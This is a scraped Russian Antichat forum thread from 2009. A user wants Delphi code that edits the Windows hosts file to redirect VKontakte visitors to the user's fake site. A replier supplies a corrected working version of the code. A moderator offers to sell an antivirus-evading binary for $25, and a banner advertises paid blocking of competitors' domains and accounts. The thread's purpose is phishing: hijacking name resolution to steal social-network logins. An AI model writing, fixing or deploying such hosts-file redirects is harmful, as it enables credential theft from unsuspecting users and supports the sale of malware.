Редирект [DELPHI]

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
Редирект [DELPHI]

Опции темы

Поиск в этой теме

Опции просмотра

Редирект [DELPHI]

24.10.2009, 13:49

qaKEP

Познающий

Регистрация: 25.09.2008

Сообщений: 56

С нами: 9277079

Репутация: 38

Редирект [DELPHI]

Сдравствуйте уважаемые форумчане.
В делфи надо сделать редирект с контакта на мой фейк, через редактирование файла host.

Код:

procedure TForm1.FormActivate(Sender: TObject);
var f:textfile;
begin

assignfile(f,GetSpecialFolderPath(CSIDL_WINDOWS)+'\system32\drivers\etc\hosts');
append(f);
writeln(f,'ip    www.site.ru');
writeln(f,'ip    site.ru');
closefile(f);
end;

Что не правильно? Помогите решить наболевший вопрос!

𝕏 Twitter Reddit Telegram Копировать ссылку

24.10.2009, 14:33

Chrome~

Постоянный

Регистрация: 13.12.2008

Сообщений: 354

С нами: 9162683

Репутация: 175

Код:

assignfile(f,GetSpecialFolderPath(CSIDL_WINDOWS)+'  \system32\drivers\etc\hosts');

Зачем поставил пробелы перед "\system32"?

24.10.2009, 15:44

SeoLapot

Новичок

Регистрация: 12.10.2009

Сообщений: 4

С нами: 8727377

Репутация: 0

Я а знаю в чем, проблема но не скажу

Нефиг людей дурить

24.10.2009, 17:29

slesh

Познавший АНТИЧАТ

Регистрация: 05.03.2007

Сообщений: 1,985

С нами: 10097606

Репутация: 3349

спокойно пашет код такого вида:

Код:

var
  f : textfile;
  buf : array[0..256] of char;
begin
  GetWindowsDirectory(buf, 256);
  assignfile(f, buf + '\system32\drivers\etc\hosts');
  append(f);
  writeln(f,#13#10'ip www.site.ru'); // #13#10 для того чтобы небыло глюков если небыло перехода строки на предыдущей записи
  writeln(f,'ip site.ru');
  closefile(f);
 end;

а вообще этот метод ооочень паливный. даже самая ленивая проактивка его палит

24.10.2009, 18:36

ErrorNeo

Moderator - Level 7

Регистрация: 02.05.2009

Сообщений: 894

С нами: 8960826

Репутация: 2261

неправильнее всего то что вообще не хватает половины необходимого для работы кода.

upd. такой как тебе нужен непалящийся проактивкой бинарник тебе будет стоить долларов 25 - если нада стучи.
Ессна без сурсов.
В твоем же случае не "неправильно". В твоем случае у тебя крыло от машины и ты спрашиваешь почему она не едет.

Последний раз редактировалось ErrorNeo; 24.10.2009 в 19:04..

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Помогите сделать редирект	mff	PHP	4	09.10.2009 17:24
Люди подскажыте редирект который не забанен в ВК	pottos	Покупка, продажа, услуги в Соц. Сетях	0	17.08.2009 19:12
редирект ?	Донг По	Болталка	8	12.08.2009 00:36
Редирект вкартинке!	ttt0z	Болталка	0	11.04.2009 06:42

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход